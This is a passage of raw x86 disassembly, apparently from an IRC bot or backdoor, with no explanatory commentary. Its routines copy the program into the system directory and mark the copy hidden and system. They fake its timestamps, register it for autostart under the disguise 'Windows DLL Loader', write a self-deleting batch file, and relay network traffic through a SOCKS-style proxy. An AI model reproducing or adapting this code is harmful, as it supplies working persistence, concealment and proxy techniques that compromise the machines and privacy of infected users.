var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: MEW:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: MEW:0041AD4Co ; MEW:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EAFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EAFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EAFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EAFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE00 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE00 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 